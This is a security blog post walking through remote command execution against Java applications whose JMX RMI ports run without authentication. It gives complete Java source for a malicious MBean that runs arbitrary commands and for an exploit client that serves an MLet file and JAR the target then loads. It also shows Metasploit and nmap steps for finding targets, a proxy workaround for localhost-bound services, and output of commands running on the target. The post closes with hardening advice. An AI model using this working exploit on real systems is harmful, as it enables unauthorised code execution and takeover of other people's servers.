Exploiting JMX RMI

Exploiting JMX RMI

I was recently looking at an application that exposed a JMX RMI port remotely for monitoring and diagnostics.  I didn’t know much about JMX, so I did a little research.  A friend pointed me to a generic Java RMI server exploit in Metasploit http://www.metasploit.com/modules/exploit/multi/misc/java_rmi_server.  However, the documentation for the exploit was not promising:


Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process.


Predictably, when I attempted the exploit against my service, it was unsuccessful:


msf > use multi/misc/java_rmi_server msf exploit(java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp PAYLOAD => java/meterpreter/reverse_tcp msf exploit(java_rmi_server) > set LHOST LHOST => msf exploit(java_rmi_server) > set RHOST RHOST => msf exploit(java_rmi_server) > exploit [*] Started reverse handler on [*] Using URL: [*] Local IP: [*] Connected and sending request for [-] Not exploitable: the RMI class loader is disabled [*] Server stopped.


When I dug a little deeper, I found documentation from Oracle describing some serious security problems with exposing JMX RMI remotely http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent.html


Disabling Security


To disable both password authentication and SSL (namely to disable all security), you should set the following system properties when you start the Java VM.






Caution - This configuration is insecure: any remote user who knows (or guesses) your port number and host name will be able to monitor and control your Java applications and platform. Furthermore, possible harm is not limited to the operations you define in your MBeans. A remote client could create a javax.management.loading.MLet MBean and use it to create new MBeans from arbitrary URLs, at least if there is no security manager. In other words, a rogue remote client could make your Java application execute arbitrary code.


Consequently, while disabling security might be acceptable for development, it is strongly recommended that you do not disable security for production systems.


Sure enough, when I looked at the process listing of my target application, there it was:


-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=falsee -Dcom.sun.management.jmxremote.port=8888




After a little Googling for “javax.management.loading.MLet MBean”, I was satisfied that there wasn’t a ready-made exploit immediately available.  Writing the exploit was easy enough; Oracle gave me the recipe, I just needed to mix the ingredients and pop it into the oven.


First, I wrote my malicious java bean, EvilMBean.


package com.braden; public interface EvilMBean { public String runCommand(String cmd); }


Figure 1- EvilMBean.java


package com.braden; import java.io.*; import javax.management.*; public class Evil implements EvilMBean { public String runCommand(String cmd) { try { Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); String stdout_err_data = ""; String s; while ((s = stdInput.readLine()) != null) { stdout_err_data += s+"\n"; } while ((s = stdError.readLine()) != null) { stdout_err_data += s+"\n"; } proc.waitFor(); return stdout_err_data; } catch (Exception e) { return e.toString(); } } }


Figure 2- Evil.java


These are both very straightforward. EvilMBean.java just defines the interface for the class – the method only has a single method, runCommand(). runCommand() takes a string, runs it, and returns stdout concatenated with stderr. After compilation, this class needs to be added into a jar, which I named compromise.jar.


The actual exploit class is a bit more complex, so I’ll walk through it in parts.


import javax.management.remote.*; import javax.management.*; import java.util.*; import java.lang.*; import java.io.*; import java.net.*; import com.sun.net.httpserver.*; public class RemoteMbean { private static String JARNAME = "compromise.jar"; private static String OBJECTNAME = "MLetCompromise:name=evil,id=1"; private static String EVILCLASS = "com.braden.Evil"; public static void main(String[] args) { try { HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0); server.createContext("/mlet", new MLetHandler()); server.createContext("/"+JARNAME, new JarHandler()); server.setExecutor(null); // creates a default executor server.start(); connectAndOwn(args[0], args[1], args[2]); server.stop(0); } catch (Exception e) { e.printStackTrace(); } }


The main() method for this exploit starts up an HTTP server on port 4141, and serves two resources on it: something called an MLet (a “management applet”), and a JAR file. After the web server is running, it calls connectAndOwn().


static void connectAndOwn(String serverName, String port, String command) { try { JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); System.out.println("URL: "+u+", connecting"); JMXConnector c = JMXConnectorFactory.connect(u, env); System.out.println("Connected: " + c.getConnectionId()); MBeanServerConnection m = c.getMBeanServerConnection();


The connectAndOwn() method begins with some boilerplate to set up a JMX connection to the server name. This tool is run as “RemoteMbean”, so this is where the first two command line arguments are used.


ObjectInstance evil_bean = null; try { evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME)); } catch (Exception e) { evil_bean = null; }


The exploit attempts to load my malicious MBean from the server, if it already exists. It would only exist if the exploit was previously run – assuming this is our first run, an Exception will be thrown and evil_bean will be null.


if (evil_bean == null) { System.out.println("Trying to create bean..."); ObjectInstance evil = null; try { evil = m.createMBean("javax.management.loading.MLet", null); } catch (javax.management.InstanceAlreadyExistsException e) { evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); } System.out.println("Loaded "+evil.getClassName()); Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[] { String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress()) }, new String[] { String.class.getName() } ); HashSet res_set = ((HashSet)res); Iterator itr = res_set.iterator(); Object nextObject = itr.next(); if (nextObject instanceof Exception) { throw ((Exception)nextObject); } evil_bean = ((ObjectInstance)nextObject); }


This is the bit Oracle was warning about.  We can load a certain class, javax.management.loading.MLet http://docs.oracle.com/javase/1.5.0/docs/api/javax/management/loading/MLet.html.  This class permits loading an MLet file, which can point to a JAR to load.  Documentation for the getMBeansFromURL() method states:


  public Set getMBeansFromURL(String url)Loads a text file containing MLET tags that define the MBeans to be added to the agent. The location of the text file is specified by a URL. The MBeans specified in the MLET file will be instantiated and registered by the MBean server.Specified by: getMBeansFromURL in interface MLetMBean Parameters: url - The URL of the text file to be loaded as String object. Returns: A set containing one entry per MLET tag in the m-let text file loaded. Each entry specifies either the ObjectInstance for the created MBean, or a throwable object (that is, an error or an exception) if the MBean could not be created.


System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName()); System.out.println("Calling runCommand with: "+command); Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() }); System.out.println("Result: "+result); } catch (Exception e) { e.printStackTrace(); } }


Once our evil MBean has been loaded, we can call the runCommand() method that we defined in Evil.java. The command will be executed on the remote system and the output will be returned to us.


static class MLetHandler implements HttpHandler { public void handle(HttpExchange t) throws IOException { String response = String.format("", EVILCLASS, JARNAME, OBJECTNAME, InetAddress.getLocalHost().getHostAddress()); System.out.println("Sending mlet: "+response+"\n"); t.sendResponseHeaders(200, response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } }


This is the HTTP resource handler for the MLet file. As you can see, an MLet file is just an HTML file containing a special tag. The MLET tag contains attributes that point at the JAR to load, the codebase URL, and the fully qualified class name.


static class JarHandler implements HttpHandler { public void handle(HttpExchange t) throws IOException { System.out.println("Request made for JAR..."); File file = new File ("compromise.jar"); byte [] bytearray = new byte [(int)file.length()]; FileInputStream fis = new FileInputStream(file); BufferedInputStream bis = new BufferedInputStream(fis); bis.read(bytearray, 0, bytearray.length); // ok, we are ready to send the response. t.sendResponseHeaders(200, file.length()); OutputStream os = t.getResponseBody(); os.write(bytearray,0,bytearray.length); os.close(); } } }


Finally, the JarHandler just supplies the compiled compromise.jar that we created earlier from Evil.java and EvilMBean.java.


We just connect to the JMX RMI server using Java APIs, ask it to load this MLet file we supply containing a pointer to a JAR, which the server happily loads and will invoke methods on when asked – just like Oracle told us it would. Pretty straightforward.


$ java RemoteMbean 8888 "id" URL: service:jmx:rmi:///jndi/rmi://, connecting Connected: rmi:// 21 Loaded class: com.braden.Evil object MLetCompromise:name=evil,id=1 Calling runCommand with: id Result: uid=502(bthomas) gid=20(staff) groups=20(staff)


Figure 3– Output from exploit execution




Now that you know how to exploit JMX RMI ports, how do you find them?  Fortunately, it’s easy – there’s already an nmap signature.  However, due to the rarity level, it won’t get run on a non-standard port, like 8888.  You can force it to run using the –version-all flag.


$ nmap -sV --version-all -p 8888 Starting Nmap 6.01 ( http://nmap.org ) at 2013-05-16 23:30 EDT Nmap scan report for localhost ( Host is up (0.00012s latency). PORT STATE SERVICE VERSION 8888/tcp open rmiregistry Java RMI Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.11 seconds


Even better is the rmi-dumpregistry.nse script, which is already incorporated into nmap.


$ nmap --script rmi-dumpregistry.nse -sV --version-all -p 8888 Starting Nmap 6.01 ( http://nmap.org ) at 2013-05-16 23:32 EDT Nmap scan report for localhost ( Host is up (0.000072s latency). PORT     STATE SERVICE  VERSION 8888/tcp open  java-rmi Java RMI Registry | rmi-dumpregistry: |   jmxrmi |     javax.management.remote.rmi.RMIServerImpl_Stub |     @ |     extends |       java.rmi.server.RemoteStub |       extends |_        java.rmi.server.RemoteObject


To be certain it’s a JMX interface, you can use JConsole, the tool Java provides for actually interfacing with JMX ports legitimately. You can initiate a connection on the command line or the UI. For example, the following command will pop up jConsole and connect to my service.


$ jconsole


Advanced Exploitation


Well, that was relatively easy; let’s make things a little more exciting.  Sometimes you’ll come across a JMX service that’s only accessible to localhost – or so it seems.  This happens when the process was launched with, for example:




I came across a similar application, and I was worried my exploit would not work.


$ lsof -i tcp -P|grep LISTEN|grep 8888 java      12781 bthomas   30u  IPv6 0x973253af80f26cb5      0t0  TCP *:8888 (LISTEN)


However, when I took a look at lsof, I found that the service was still listening on all interfaces.  This is odd behavior for a service that I would think is bound to localhost.


$ nmap --script rmi-dumpregistry.nse -sV --version-all -p 8888 Starting Nmap 6.01 ( http://nmap.org ) at 2013-05-16 23:42 EDT Nmap scan report for Host is up (0.0040s latency). PORT     STATE SERVICE  VERSION 8888/tcp open  java-rmi Java RMI Registry | rmi-dumpregistry: |   jmxrmi |     javax.management.remote.rmi.RMIServerImpl_Stub |     @ |     extends |       java.rmi.server.RemoteStub |       extends |_        java.rmi.server.RemoteObject


The rmi-dumpregistry.nse script confirmed that the service was in fact now located at localhost, according to the RMI registry:


$ java RemoteMbean 8888 "id" URL: service:jmx:rmi:///jndi/rmi://, connecting java.rmi.ConnectException: Connection refused to host:; nested exception is: java.net.ConnectException: Connection refused at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:601) at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:198) at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:184) at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:110) at javax.management.remote.rmi.RMIServerImpl_Stub.newClient(Unknown Source) at javax.management.remote.rmi.RMIConnector.getConnection(RMIConnector.java:2327) at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:277) at javax.management.remote.JMXConnectorFactory.connect(JMXConnectorFactory.java:248) at javax.management.remote.JMXConnectorFactory.connect(JMXConnectorFactory.java:207) at RemoteMbean.connectAndOwn(RemoteMbean.java:31) at RemoteMbean.main(RemoteMbean.java:19)


Even more worrisome, JConsole failed to connect and my exploit failed to run, throwing an exception.  Since the exception was thrown attempting to connect to localhost, it seemed that Java must be attempting to connect to the address and port ( listed in the RMI registry.  I threw together a quick proxy using Twisted to listen locally on port 64178, and proxy any traffic to the remote 64178.


$ python redirect_jmx.py 64178 2013-05-16 23:54:00-0400 [-] Log opened. 2013-05-16 23:54:00-0400 [-] RedirectRxFactory starting on 64178 2013-05-16 23:54:00-0400 [-] Starting factory <__main__.RedirectRxFactory instance at 0x10dcd8998> 2013-05-16 23:54:22-0400 [__main__.RedirectRxFactory] Connection made to RedirectRx


Sure enough, a connection was made, and the exploit worked as before.


$ java RemoteMbean 8888 "id" URL: service:jmx:rmi:///jndi/rmi://, connecting Connected: rmi:// 2 Trying to create bean... Loaded javax.management.loading.MLet Sending mlet: <HTML></HTML> Loaded class: com. braden.Evil object MLetCompromise:name=evil,id=1 Calling runCommand with: id Result: uid=502(bthomas) gid=20(staff) groups=20(staff)


So it’s important to keep in mind that setting java.rmi.server.hostname has no effect on whether or not this is an insecure configuration.  If you actually want to secure your JMX RMI port, you have many options, such as (in decreasing order of preference):


  • Don’t pass com.sun.management.jmxremote.port. This will start a local-only JMX server, and you can get the connection address from com.sun.management.jmxremote.localConnectorAddress  http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent.html
  • Enable SSL client certificate authentication
  • Enable password authentication and use SSL
  • Firewall your JMX RMI port